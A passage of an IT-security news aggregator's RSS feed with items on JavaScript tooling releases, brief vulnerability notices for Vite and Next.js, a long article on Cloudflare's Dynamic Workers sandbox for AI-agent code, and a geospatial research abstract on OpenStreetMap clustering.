<p>In other JS developments, the upstart performance runtime, <a href="https://www.infoworld.com/article/2338008/explore-bunjs-the-all-in-one-javascript-runtime.html">Bun</a>, has spawned a native app framework, Electrobun. Welcome to our latest roundup of the JavaScript news and noteworthy.</p>



<h2 class="wp-block-heading"><a></a>Top picks for JavaScript readers on InfoWorld</h2>



<p><a href="https://www.infoworld.com/article/4137964/first-look-electrobun-for-typescript-powered-desktop-apps.html">First look: Electrobun for TypeScript-powered desktop apps</a><br>Electron (the native-web bridge framework) has always struggled around performance. Electrobun is a (predictably named) new alternative that uses the Bun runtime, famous for its intense performance.  Electrobun claims to produce far smaller bundles than regular Electron by dropping the bundled browser, and it comes with its own differential update technology to simplify patches.</p>



<p><a href="https://www.infoworld.com/article/4140734/the-revenge-of-sql-how-a-50-year-old-language-reinvents-itself.html">The revenge of SQL: How a 50-year-old language reinvents itself</a><br>SQL is making an improbable comeback in the JavaScript world. Driven by the ability to run database engines like SQLite and PostgreSQL right inside the browser via WebAssembly, and the rise of the schemaless jsonb type, developers are discovering that boring old SQL is highly adaptable to the modern web.</p>



<p><a href="https://www.infoworld.com/article/4140812/why-local-first-matters-for-javascript.html">Why local-first matters for JavaScript</a><br>Every developer should be paying attention to the local-first architecture movement. The emerging local-first SQL data stores crystallize ideas about client/server symmetry that have been a long time coming. This shift simplifies offline capabilities and fundamentally changes how we think about UI state.</p>



<p><a href="https://www.infoworld.com/article/4129648/reactive-state-management-with-javascript-signals.html">Reactive state management with JavaScript Signals</a><br>State management remains one of the nastiest parts of front-end development. Signals have emerged as the dominant mechanism for dealing with reactive state, offering a more fine-grained and performant alternative to traditional Virtual DOM diffing. It is a vital pattern to understand as it sweeps across the framework landscape.</p>



<h3 class="wp-block-heading"><a></a>JavaScript news bites</h3>



<ul class="wp-block-list">
<li><a href="https://www.infoworld.com/article/4145953/project-detroit-bridging-java-python-javascript-moves-forward.html">Project Detroit, bridging Java, Python, JavaScript, moves forward</a>. Here is an interesting effort to bring Java, Python, and JS into a unified context. It has Oracle’s backing and is gaining steam.</li>



<li><a href="https://www.infoworld.com/article/4151375/kotlin-2-3-20-harmonizes-with-c-javascript-typescript.html">Kotlin 2.3.20 harmonizes with C, JavaScript/TypeScript</a>. Some very interesting expansions to Kotlin’s interop support.</li>



<li><a href="https://www.infoworld.com/javascript/">Angular releases patches for SSR security issues</a>. A security patch that addresses vulnerabilities that could allow attackers to steal authorization headers.</li>
</ul>



<h2 class="wp-block-heading"><a></a>More good reads and JavaScript updates elsewhere</h2>



<p><a href="https://nextjs.org/blog/next-16-2-ai">Next.js 16.2 introduces features built specifically for AI agents</a><br>In a fascinating and forward-looking move, the latest Next.js release includes tools designed specifically to help AI agents build and debug applications. This includes an AGENTS.md file that feeds bundled documentation directly to <a href="https://www.infoworld.com/article/2335213/large-language-models-the-foundations-of-generative-ai.html">large language models</a>, automatic browser log forwarding to the terminal (where agents operate), and an experimental CLI that lets AI inspect React component trees without needing a visual browser window.</p>



<p><a href="https://devblogs.microsoft.com/typescript/announcing-typescript-6-0/">TypeScript 6.0 is GA</a><br>The smashingly popular superset of JavaScript is now GA for 6.0. This is the last release before Microsoft swaps out the current JavaScript engine for one built on Go. The TypeScript 6.0 drop is most important as a bridge to Go-based TypeScript 7.0, which the team says is coming soon (and is already available via npm flag). If you can run atop TypeScript 6, you are in good shape for TypeScript 7.</p>



<p><a href="https://vite.dev/blog/announcing-vite8">Vite 8.0 arrives with unified Rolldown-based builds</a><br>Vite now uses Rolldown, the bundler/builder built in Rust, instead of esbuild for dev and Rollup for production. This move simplifies the architecture and brings speed benefits without breaking plugin compatibility. Pretty impressive. The Vite team also introduced a plugin registry at <a href="https://registry.vite.dev/">registry.vite.dev</a>.</p>
</div></div></div>
</div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Attempts to Exploit Exposed “Vite” Installs (CVE-2025-30208), (Thu, Apr 2nd)]]></title>
<description><![CDATA[From its GitHub repo: “Vite (French word for “quick”, pronounced /vi?t/, like “veet”) is a new breed of frontend build tooling that significantly improves the frontend development experience” [https://github.com/vitejs/vite]. This article has been indexed from SANS Internet Storm Center, InfoCON...]]></description>
<link>https://tsecurity.de/de/3403173/it-security-nachrichten/attempts-to-exploit-exposed-vite-installs-cve-2025-30208-thu-apr-2nd/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3403173/it-security-nachrichten/attempts-to-exploit-exposed-vite-installs-cve-2025-30208-thu-apr-2nd/</guid>
<pubDate>Thu, 02 Apr 2026 17:21:29 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>From its GitHub repo: “Vite (French word for “quick”, pronounced /vi?t/, like “veet”) is a new breed of frontend build tooling that significantly improves the frontend development experience” [https://github.com/vitejs/vite]. This article has been indexed from SANS Internet Storm Center, InfoCON:…</p>
<p class="more-link-p"><a class="more-link" href="https://www.itsecuritynews.info/attempts-to-exploit-exposed-vite-installs-cve-2025-30208-thu-apr-2nd/">Read more →</a></p>
<p>The post <a href="https://www.itsecuritynews.info/attempts-to-exploit-exposed-vite-installs-cve-2025-30208-thu-apr-2nd/">Attempts to Exploit Exposed “Vite” Installs (CVE-2025-30208), (Thu, Apr 2nd)</a> appeared first on <a href="https://www.itsecuritynews.info/">IT Security News</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Attempts to Exploit Exposed "Vite" Installs (CVE-2025-30208), (Thu, Apr 2nd)]]></title>
<description><![CDATA[From its GitHub repo: "Vite (French word for "quick", pronounced /vi?t/, like "veet") is a new breed of frontend build tooling that significantly improves the frontend development experience" [https://github.com/vitejs/vite].]]></description>
<link>https://tsecurity.de/de/3403107/it-security-nachrichten/attempts-to-exploit-exposed-vite-installs-cve-2025-30208-thu-apr-2nd/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3403107/it-security-nachrichten/attempts-to-exploit-exposed-vite-installs-cve-2025-30208-thu-apr-2nd/</guid>
<pubDate>Thu, 02 Apr 2026 17:06:57 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>From its GitHub repo: "Vite (French word for "quick", pronounced /vi?t/, like "veet") is a new breed of frontend build tooling that significantly improves the frontend development experience" [<a href="https://github.com/vitejs/vite">https://github.com/vitejs/vite</a>].</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Cloudflare’s new Dynamic Workers ditch containers to run AI agent code 100x faster]]></title>
<description><![CDATA[Web infrastructure giant Cloudlflare is seeking to transform the way enterprises deploy AI agents with the open beta release of Dynamic Workers, a new lightweight, isolate-based sandboxing system that it says starts in milliseconds, uses only a few megabytes of memory, and can run on the same mac...]]></description>
<link>https://tsecurity.de/de/3377948/it-nachrichten/cloudflares-new-dynamic-workers-ditch-containers-to-run-ai-agent-code-100x-faster/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3377948/it-nachrichten/cloudflares-new-dynamic-workers-ditch-containers-to-run-ai-agent-code-100x-faster/</guid>
<pubDate>Tue, 24 Mar 2026 20:31:17 +0100</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Web infrastructure giant Cloudlflare is seeking to transform the way enterprises deploy AI agents with<a href="https://blog.cloudflare.com/dynamic-workers"> the open beta release of Dynamic Workers,</a> a new lightweight, isolate-based sandboxing system that it says starts in milliseconds, uses only a few megabytes of memory, and can run on the same machine — even the same thread — as the request that created it. </p><p>Compared with traditional Linux containers, the company says that makes Dynamic Workers roughly 100x faster to start and between 10x and 100x more memory efficient.</p><p>Cloudflare has spent months pushing what it calls “Code Mode,” the idea that large language models often perform better when they are given an API and asked to write code against it, rather than being forced into one tool call after another. </p><p>The company says converting an MCP server into a TypeScript API can cut token usage by 81%, and it is now positioning Dynamic Workers as the secure execution layer that makes that approach practical at scale.</p><p>For enterprise technical decision makers, that is the bigger story. Cloudflare is trying to turn sandboxing itself into a strategic layer in the AI stack. If agents increasingly generate small pieces of code on the fly to retrieve data, transform files, call services or automate workflows, then the economics and safety of the runtime matter almost as much as the capabilities of the model. Cloudflare’s pitch is that containers and microVMs remain useful, but they are too heavy for a future where millions of users may each have one or more agents writing and executing code constantly.</p><h2><b>The history of modern isolated runtime environments</b></h2><p>To understand why Cloudflare is doing this, it helps to look at the longer arc of secure code execution. Modern sandboxing has evolved through three main models, each trying to build a better digital box: smaller, faster and more specialized than the one before it.</p><p>The first model is the isolate. Google introduced the <code>v8::Isolate</code> API in 2011 so the V8 JavaScript engine could run many separate execution contexts efficiently inside the same process. In effect, a single running program could spin up many small, tightly separated compartments, each with its own code and variables. </p><p>In 2017, Cloudflare adapted that browser-born idea for the cloud with Workers, betting that the traditional cloud stack was too slow for instant, globally distributed web tasks. The result was a runtime that could start code in milliseconds and pack many environments onto a single machine. The trade-off is that isolates are not full computers. They are strongest with JavaScript, TypeScript and WebAssembly, and less natural for workloads that expect a traditional machine environment.</p><p>The second model is the container. Containers had been technically possible for years through Linux kernel features, but the company <a href="https://www.docker.com/">Docker</a> turned them into the default software packaging model when it popularized them in 2013.</p><p>Containers solved a huge portability problem by letting developers package code, libraries and settings into a predictable unit that could run consistently across systems. That made them foundational to modern cloud infrastructure. But they are relatively heavy for the sort of short-lived tasks Cloudflare is talking about here. The company says containers generally take hundreds of milliseconds to boot and hundreds of megabytes of memory to run, which becomes costly and slow when an AI-generated task only needs to execute for a moment.</p><p>The third model is the microVM. Popularized by AWS Firecracker in 2018, microVMs were designed to offer stronger machine-like isolation than containers without the full bulk of a traditional virtual machine. They are attractive for running untrusted code, which is why they have started to show up in newer AI-agent systems such as Docker Sandboxes. But they still sit between the other two models: stronger isolation and more flexibility than an isolate, but slower and heavier as well.</p><p>That is the backdrop for Cloudflare’s pitch. The company is not claiming containers disappear, or that microVMs stop mattering. It is claiming that for a growing class of web-scale, short-lived AI-agent workloads, the default box has been too heavy, and the isolate may now be the better fit.</p><h2><b>Cloudflare’s case against the container bottleneck</b></h2><p>Cloudflare’s argument is blunt: for “consumer-scale” agents, containers are too slow and too expensive. In the company’s framing, a container is fine when a workload persists, but it is a bad fit when an agent needs to run one small computation, return a result and disappear. Developers either keep containers warm, which costs money, or tolerate cold-start delay, which hurts responsiveness. They may also be tempted to reuse a live sandbox across multiple tasks, which weakens isolation.</p><p><a href="https://developers.cloudflare.com/dynamic-workers/">Dynamic Worker Loader is Cloudflare’s answer.</a> The API allows one Worker to instantiate another Worker at runtime with code provided on the fly, usually by a language model. Because these dynamic Workers are built on isolates, Cloudflare says they can be created on demand, run one snippet of code, and then be thrown away immediately afterward. In many cases, they run on the same machine and even the same thread as the Worker that created them, which removes the need to hunt for a warm sandbox somewhere else on the network.</p><p>The company is also pushing hard on scale. It says many container-based sandbox providers limit concurrent sandboxes or the rate at which they can be created, while Dynamic Workers inherit the same platform characteristics that already let Workers scale to millions of requests per second. In Cloudflare’s telling, that makes it possible to imagine a world where every user-facing AI request gets its own fresh, isolated execution environment without collapsing under startup overhead.</p><h2><b>Security remains the hardest part</b></h2><p>Cloudflare does not pretend this is easy to secure. In fact, the company explicitly says hardening an isolate-based sandbox is trickier than relying on hardware virtual machines, and notes that security bugs in V8 are more common than those in typical hypervisors. That is an important admission, because the entire thesis depends on convincing developers that an ultra-fast software sandbox can also be safe enough for AI-generated code.</p><p>Cloudflare’s response is that it has nearly a decade of experience doing exactly that. The company points to automatic rollout of V8 security patches within hours, a custom second-layer sandbox, dynamic cordoning of tenants based on risk, extensions to the V8 sandbox using hardware features like MPK, and research into defenses against Spectre-style side-channel attacks. It also says it scans code for malicious patterns and can block or further sandbox suspicious workloads automatically. Dynamic Workers inherit that broader Workers security model.</p><p>That matters because without the security story, the speed story sounds risky. With it, Cloudflare is effectively arguing that it has already spent years making isolate-based multi-tenancy safe enough for the public web, and can now reuse that work for the age of AI agents.</p><h2><b>Code Mode: from tool orchestration to generated logic</b></h2><p>The release makes the most sense in the context of Cloudflare’s larger Code Mode strategy. The idea is simple: instead of giving an agent a long list of tools and asking it to call them one by one, give it a programming surface and let it write a short TypeScript function that performs the logic itself. That means the model can chain calls together, filter data, manipulate files and return only the final result, rather than filling the context window with every intermediate step. Cloudflare says that cuts both latency and token usage, and improves outcomes especially when the tool surface is large.</p><p>The company points to its own Cloudflare MCP server as proof of concept. Rather than exposing the full Cloudflare API as hundreds of individual tools, it says the server exposes the entire API through two tools — search and execute — in under 1,000 tokens because the model writes code against a typed API instead of navigating a long tool catalog.</p><p>That is a meaningful architectural shift. It moves the center of gravity from tool orchestration toward code execution. And it makes the execution layer itself far more important.</p><h2><b>Why Cloudflare thinks TypeScript beats HTTP for agents</b></h2><p>One of the more interesting parts of the launch is that Cloudflare is also arguing for a different interface layer. MCP, the company says, defines schemas for flat tool calls but not for programming APIs. OpenAPI can describe REST APIs, but it is verbose both in schema and in usage. TypeScript, by contrast, is concise, widely represented in model training data, and can communicate an API’s shape in far fewer tokens.</p><p>Cloudflare says the Workers runtime can automatically establish a Cap’n Web RPC bridge between the sandbox and the harness code, so a dynamic Worker can call those typed interfaces across the security boundary as if it were using a local library. That lets developers expose only the exact capabilities they want an agent to have, without forcing the model to reason through a sprawling HTTP interface.</p><p>The company is not banning HTTP. In fact, it says Dynamic Workers fully support HTTP APIs. But it clearly sees TypeScript RPC as the cleaner long-term interface for machine-generated code, both because it is cheaper in tokens and because it gives developers a narrower, more intentional security surface.</p><h2><b>Credential injection and tighter control over outbound access</b></h2><p>One of the more practical enterprise features in the release is <code>globalOutbound</code>, which lets developers intercept every outbound HTTP request from a Dynamic Worker. They can inspect it, rewrite it, inject credentials, respond to it directly, or block it entirely. That makes it possible to let an agent reach outside services while never exposing raw secrets to the generated code itself.</p><p>Cloudflare positions that as a safer way to connect agents to third-party services requiring authentication. Instead of trusting the model not to mishandle credentials, the developer can add them on the way out and keep them outside the agent’s visible environment. In enterprise settings, that kind of blast-radius control may matter as much as the performance gains.</p><h2><b>More than a runtime: the helper libraries matter too</b></h2><p>Another reason the announcement lands as more than a low-level runtime primitive is that Cloudflare is shipping a toolkit around it. The <code>@cloudflare/codemode</code> package is designed to simplify running model-generated code against AI tools using Dynamic Workers. At its core is <code>DynamicWorkerExecutor()</code>, which sets up a purpose-built sandbox with code normalization and direct control over outbound fetch behavior. The package also includes utility functions to wrap an MCP server into a single <code>code()</code> tool or generate MCP tooling from an OpenAPI spec.</p><p>The <code>@cloudflare/worker-bundler</code> package handles the fact that Dynamic Workers expect pre-bundled modules. It can resolve npm dependencies, bundle them with <code>esbuild</code>, and return the module map the Worker Loader expects. The <code>@cloudflare/shell</code> package adds a virtual filesystem backed by a durable Workspace using SQLite and R2, with higher-level operations like read, write, search, replace, diff and JSON update, plus transactional batch writes.</p><p>Taken together, those packages make the launch feel much more complete. Cloudflare is not just exposing a fast sandbox API. It is building the surrounding path from model-generated logic to packaged execution to persistent file manipulation.</p><h2><b>Isolates versus microVMs: two different homes for agents</b></h2><p>Cloudflare’s launch also highlights a growing split in the AI-agent market. One side emphasizes fast, disposable, web-scale execution. The other emphasizes deeper, more persistent environments with stronger machine-like boundaries.</p><p><a href="https://docs.docker.com/ai/sandboxes/">Docker Sandboxes</a> is a useful contrast. Rather than using standard containers alone, it uses lightweight microVMs to give each agent its own private Docker daemon, allowing the agent to install packages, run commands and modify files without directly exposing the host system. That is a better fit for persistent, local or developer-style environments. Cloudflare is optimizing for something different: short-lived, high-volume execution on the global web.</p><p>So the trade-off is not simply security versus speed. It is depth versus velocity. MicroVMs offer a sturdier private fortress and broader flexibility. Isolates offer startup speed, density and lower cost at internet scale. That distinction may become one of the main dividing lines in agent infrastructure over the next year.</p><h2><b>Community reaction: hype, rivalry and the JavaScript catch</b></h2><p>The release also drew immediate attention from developers on X, with reactions that captured both excitement and skepticism. </p><p>Brandon Strittmatter, a Cloudflare product lead and founder of Outerbase, <a href="https://x.com/burcs/status/2036435172623622571">called the move</a> “classic Cloudflare,” praising the company for “changing the current paradigm on containers/sandboxes by reinventing them to be lightweight, less expensive, and ridiculously fast.” </p><p><a href="https://x.com/Zackary_Chapple/status/2036442657744957728">Zephyr Cloud CEO Zack Chapple</a> called the release “worth shouting from the mountain tops.”</p><p>But the strongest caveat surfaced quickly too: this system works best when the agent writes JavaScript. Cloudflare says Workers can technically run Python and WebAssembly, but that for small, on-demand snippets, “JavaScript will load and run much faster.” </p><p>That prompted criticism from YouTuber and ThursdAI podcast host <a href="https://x.com/altryne/status/2036442314382651449">Alex Volkov</a>, who wrote that he “got excited... until I got here,” reacting to the language constraint.</p><p>Cloudflare’s defense is pragmatic and a little provocative. Humans have language loyalties, the company argues, but agents do not. In Cloudflare’s words, “AI will write any language you want it to,” and JavaScript is simply well suited to sandboxed execution on the web. That may be true in the narrow sense the company intends, but it also means the platform is most naturally aligned with teams already comfortable in the JavaScript and TypeScript ecosystem.</p><p>The announcement also triggered immediate competitive positioning.<a href="https://x.com/NathanFlurry/status/2036441313424670848"> Nathan Flurry of Rivet</a> used the moment to contrast his Secure Exec product as an open-source alternative that supports a broader range of platforms including Vercel, Railway and Kubernetes rather than being tied closely to Cloudflare’s own stack. </p><p>That reaction is worth noting because it shows how quickly the sandboxing market around agents is already splitting between vertically integrated platforms and more portable approaches.</p><h2><b>Early use cases: AI apps, automations and generated platforms</b></h2><p>Cloudflare is pitching Dynamic Workers for much more than quick code snippets. The company highlights Code Mode, AI-generated applications, fast development previews, custom automations and user platforms where customers upload or generate code that must run in a secure sandbox.</p><p>One example it spotlights is Zite, which Cloudflare says is building an app platform where users interact through chat while the model writes TypeScript behind the scenes to build CRUD apps, connect to services like Stripe, Airtable and Google Calendar, and run backend logic. Cloudflare quotes Zite CTO and co-founder Antony Toron saying Dynamic Workers “hit the mark” on speed, isolation and security, and that the company now handles “millions of execution requests daily” using the system.</p><p>Even allowing for vendor framing, that example gets at the company’s ambition. Cloudflare is not just trying to make agents a bit more efficient. It is trying to make AI-generated execution environments cheap and fast enough to sit underneath full products.</p><h2><b>Pricing and availability</b></h2><p>Dynamic Worker Loader is now in open beta and available to all users on the Workers Paid plan. Cloudflare says dynamically loaded Workers are priced at $0.002 per unique Worker loaded per day, in addition to standard CPU and invocation charges, though that per-Worker fee is waived during the beta period. For one-off code generation use cases, the company says that cost is typically negligible compared with the inference cost of generating the code itself.</p><p>That pricing model reinforces the larger thesis behind the product: that execution should become a small, routine part of the agent loop rather than a costly special case.</p><h2><b>The bigger picture</b></h2><p>Cloudflare’s launch lands at a moment when AI infrastructure is becoming more opinionated. Some vendors are leaning toward long-lived agent environments, persistent memory and machine-like execution. Cloudflare is taking the opposite angle. For many workloads, it argues, the right agent runtime is not a persistent container or a tiny VM, but a fast, disposable isolate that appears instantly, executes one generated program, and vanishes.</p><p>That does not mean containers or microVMs go away. It means the market is starting to split by workload. Some enterprises will want deeper, more persistent environments. Others — especially those building high-volume, web-facing AI systems — may want an execution layer that is as ephemeral as the requests it serves.</p><p>Cloudflare is betting that this second category gets very large, very quickly. And if that happens, Dynamic Workers may prove to be more than just another Workers feature. They may be Cloudflare’s attempt to define what the default execution layer for internet-scale AI agents looks like.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[PlaceCrafter: Curating Urban Functional Regions through Platial Clustering of OpenStreetMap Points of Interest (sotm2025)]]></title>
<description><![CDATA[The world is not just made of streets, buildings, and zones; it is shaped by how people engage and interact with places in their everyday lives. This abstract presents a web-based geospatial tool that supports the mapping of these lived places and locales named PlaceCrafter. PlaceCrafter supports...]]></description>
<link>https://tsecurity.de/de/3374786/it-security-video/placecrafter-curating-urban-functional-regions-through-platial-clustering-of-openstreetmap-points-of-interest-sotm2025/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3374786/it-security-video/placecrafter-curating-urban-functional-regions-through-platial-clustering-of-openstreetmap-points-of-interest-sotm2025/</guid>
<pubDate>Mon, 23 Mar 2026 21:17:18 +0100</pubDate>
<category>🎥 IT Security Video</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[The world is not just made of streets, buildings, and zones; it is shaped by how people engage and interact with places in their everyday lives. This abstract presents a web-based geospatial tool that supports the mapping of these lived places and locales named PlaceCrafter. PlaceCrafter supports researchers in identifying platial regions: functional, human-centred areas that cross administrative and formal boundaries. The framework is built on OpenStreetMap, combining (near) real-time clustering, analysis, and statistical validation of these platial regions. PlaceCrafter supports researchers in exploring the subjective experiences of place through existing datasets and city structures.

Contemporary urban analysis requires tools and analytical software that can not only capture the physical structure of the city, but also the dynamic and human-centred places that can emerge from everyday interactions. While these technologies, such as existing OpenStreetMap (OSM) [1] views and Geographic Information Systems (GIS) [2] are effective for spatial tasks, these abstractions fail to understand the notions of place when compared to space [3]. Recent work [4, 5] has sought to shift the focus towards platial information systems, tools which situate the human experience, subjective knowledge, and fuzzy representation as a comparison to existing spatial systems. These fuzzy, subjective, and personal representations attempt to model ‘place’ as a contrast to space, which may not align with traditional geometries or formal administrative zones. 

PlaceCrafter responds to this challenge by integrating a spatial-platial [6] approach to identifying regions that are functionally cohesive, representing dense and meaningful concentrations of specific points of interest (POI). The POIs are traditional representations of space within GIS [3], such as cafes, restaurants, museums, pathways, and places of worship. Rather than relying on the top-down designation of locations, PlaceCrafter supports users, analysts, and researchers curating clusters that represent how space is used as opposed to administratively divided. The approach aligns with recent calls in GIScience to shift from ‘space’ to ‘place’ in smart city analysis [7] and to continue building on work which has operationalised the sense of place in urban contexts [8].
 
PlaceCrafter is designed not just to analyse space, but to make its platial structure visible, explorable, and comprehensible to analysts, researchers, and planners. Figure 1 presents the web-based application, developed in TypeScript using React, Vite, Leaflet, Turf.js, and D3.js. The software uses the Overpass API [9] to retrieve (near, depending on number of POIs loaded) real-time user-filtered POI data. The datasets are organised into semantic categories based upon the existing OSM semantic structures [10]; these filters can be customised dependent on the analytical task. This functionality supports the broad purpose of the web-based application, which is to enable researchers and practitioners to understand city form and structure through a platial lens. 

PlaceCrafter is structured around four phases guided by the OSM filtering approach: the initial phase (1) focuses on filtering and selection of relevant OSM categories, building upon existing work, such as POI Pulse [11] which classifies regions using semantic signatures, and user behaviour to generate profiles of locations in the Los Angeles area and ClusterRadar [12] which supports comparative spatial clustering and parameter tuning through interactive visualisation to examine how clusters change temporally; the second phase (2) is where the fuzzy clustering approaches are applied interactively and include K-Means [13] for compact cluster formation, DBSCAN [14] for spatial structures, and hierarchical clustering for multi-level spatial structures. These clustering methods are applied to the filtered POI data to reveal platial regions.  
  
The penultimate phase (3) focuses on statistical validation, where each clustered region is evaluated using established spatial metrics. These evaluations include the nearest neighbour index to assess spatial clustering, silhouette scores [15] for understanding cluster coherence, and spatial autocorrelation is measured using a simplified Moran’s I statistic for insights into category-based dependency [16]; The final phase is (4) visualisation, which explores the concept of platial readability, where each region is presented not just spatially but semantically, with data supported by POI type, diversity score, and density metrics. Additionally, the platial visualisation techniques used support the emerging approaches to conveying ambiguity, overlap, and functional gradients [3, 17]. The visualisation subsystem is modular for a wide array of end-user requirements, supporting fuzzy spray can visualisation and region influence grids as presented in Figure 2, in addition to convex hulls, kernel density heatmaps, and region quality indicators.
 
Figure 3 presents a case study using PlaceCrafter to analyse Nottingham, United Kingdom and the surrounding areas. The POI filtering focused on tourism, historical, leisure, and natural categories. A total of 534 POIs were clustered into 18 functional regions using K-Means. There were 344 historical POIs and 111 leisure POIs as the largest categories from the filtering. The spatial pattern reflects the diverse landscape of Nottingham, with dense clusters in the city centre based around historical POIs, with suburban and rural areas having a more diffuse pattern of historic and leisure clustering. The statistical validation showed strong autocorrelation using Moran’s I (0.68) and a high internal cohesion Silhouette score (0.83), confirming the utility of platial clustering in capturing real-world functional structures. 

PlaceCrafter offers a powerful and emerging way to engage with spatial data, but its outputs are shaped by the characteristics of OSM. The crowd-sourced nature of this data means that certain POI types particularly those tied to commerce or tourism, are more visible than the informal or everyday categories more relevant to place-based ambiguity or subjective personal experiences. However, previous research has shown that OSM data is generally reliable for urban-area analysis, despite some noise [18]. Additionally, the clustering algorithms respond to spatial density and POI tag semantics, which do not explicitly capture human-perceived understandings of place boundaries, indicating a need for inclusion of social media data such as those used in POI Pulse [11] or the subjective experiences captured from linked walking narratives in WalkGIS [19].

PlaceCrafter is being developed to be an open-source software which enables broader use, adaptation, and academic contributions in platial information systems. Planned expansions include supporting historical analysis to track the evolution of platial regions and their changes over time. We intend to further expand the platform to incorporate multi-comparative views of platial functional regions, enabling cities, timeframes, and thematic domains to be compared in real-time. We also intend to conduct a qualitative study investigating how users, analysts, and researchers interpret and engage with PlaceCrafters outputs in practice. These improvements will help the validation of the tool’s interpretability and role as a flexible analytical environment for platial analysis. 

As cities continue to change, understanding how people engage with their environments becomes increasingly layered and complex. Recognising that cities are more than their administrative boundaries, while valuing the role of spatial data, PlaceCrafter helps uncover the functional geography of place by clustering OSM POIs into meaningful regions that reflect how place is used, shared, and shaped through the spatial logic embedded in mapped data.

Creative Commons Attribution 3.0 Unported https://creativecommons.org/licenses/by/3.0/
about this event: https://2025.stateofthemap.org/sessions/LJGVP9/]]></content:encoded>
</item>
<item>
<title><![CDATA[CVE-2026-27977 | vercel next.js up to 16.1.6 /_next/webpack-hmr missing origin validation in websockets (GHSA-jcc7-9wpm-mj36)]]></title>
<description><![CDATA[A vulnerability was found in vercel next.js up to 16.1.6. It has been rated as problematic. The impacted element is an unknown function of the file /_next/webpack-hmr. Performing a manipulation results in missing origin validation in websockets.

This vulnerability is known as CVE-2026-27977. Rem...]]></description>
<link>https://tsecurity.de/de/3369740/sicherheitsluecken/cve-2026-27977-vercel-nextjs-up-to-1616-nextwebpack-hmr-missing-origin-validation-in-websockets-ghsa-jcc7-9wpm-mj36/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3369740/sicherheitsluecken/cve-2026-27977-vercel-nextjs-up-to-1616-nextwebpack-hmr-missing-origin-validation-in-websockets-ghsa-jcc7-9wpm-mj36/</guid>
<pubDate>Sat, 21 Mar 2026 23:36:50 +0100</pubDate>
<category>🕵️ Sicherheitslücken</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[A vulnerability was found in <a href="https://vuldb.com/?product.vercel:next">vercel next.js up to 16.1.6</a>. It has been rated as <a href="https://vuldb.com/?kb.risk">problematic</a>. The impacted element is an unknown function of the file <em>/_next/webpack-hmr</em>. Performing a manipulation results in missing origin validation in websockets.

This vulnerability is known as <a href="https://vuldb.com/?source_cve.351436">CVE-2026-27977</a>. Remote exploitation of the attack is possible. No exploit is available.

Upgrading the affected component is advised.]]></content:encoded>
</item>
<item>
<title><![CDATA[Next.js 16.2 bringt Updates für Performance, KI-Agenten und Turbopack]]></title>
<description><![CDATA[Das React-Framework weist über 200 Änderungen für den Bundler Turbopack auf und zielt darauf ab, den Einsatz von KI-Agenten effizienter zu machen.]]></description>
<link>https://tsecurity.de/de/3366461/it-nachrichten/nextjs-162-bringt-updates-fuer-performance-ki-agenten-und-turbopack/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3366461/it-nachrichten/nextjs-162-bringt-updates-fuer-performance-ki-agenten-und-turbopack/</guid>
<pubDate>Fri, 20 Mar 2026 12:02:13 +0100</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Das React-Framework weist über 200 Änderungen für den Bundler Turbopack auf und zielt darauf ab, den Einsatz von KI-Agenten effizienter zu machen.]]></content:encoded>
</item>
<item>
<title><![CDATA[Toolchain für die Webentwicklung: Vite+ wird Open Source]]></title>
<description><![CDATA[Ursprünglich mit kostenpflichtiger Schiene für Unternehmen geplant, ist die Alpha-Version von Vite+ nun quelloffen erschienen.]]></description>
<link>https://tsecurity.de/de/3352814/it-nachrichten/toolchain-fuer-die-webentwicklung-vite-wird-open-source/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3352814/it-nachrichten/toolchain-fuer-die-webentwicklung-vite-wird-open-source/</guid>
<pubDate>Mon, 16 Mar 2026 14:16:55 +0100</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Ursprünglich mit kostenpflichtiger Schiene für Unternehmen geplant, ist die Alpha-Version von Vite+ nun quelloffen erschienen.]]></content:encoded>
</item>
<item>
<title><![CDATA[JavaScript-Build-Tool: Vite 8.0 beschleunigt mit Rust-basiertem Bundler Rolldown]]></title>
<description><![CDATA[An die Stelle von esbuild und Rollup tritt der neue Bundler Rolldown. Mit Rust-Basis ermöglicht dieser deutlich schnellere Builds.]]></description>
<link>https://tsecurity.de/de/3347348/it-nachrichten/javascript-build-tool-vite-80-beschleunigt-mit-rust-basiertem-bundler-rolldown/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3347348/it-nachrichten/javascript-build-tool-vite-80-beschleunigt-mit-rust-basiertem-bundler-rolldown/</guid>
<pubDate>Fri, 13 Mar 2026 14:47:06 +0100</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[An die Stelle von esbuild und Rollup tritt der neue Bundler Rolldown. Mit Rust-Basis ermöglicht dieser deutlich schnellere Builds.]]></content:encoded>
</item>
<item>
<title><![CDATA[Siemens SIDIS Prime]]></title>
<description><![CDATA[View CSAF
Summary
SIDIS Prime before V4.0.800 is affected by multiple vulnerabilities in the components OpenSSL, SQLite, and several Node.js packages as described below. Siemens has released a new version of SIDIS Prime and recommends to update to the latest version.
The following versions of Sie...]]></description>
<link>https://tsecurity.de/de/3344367/it-security-nachrichten/siemens-sidis-prime/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3344367/it-security-nachrichten/siemens-sidis-prime/</guid>
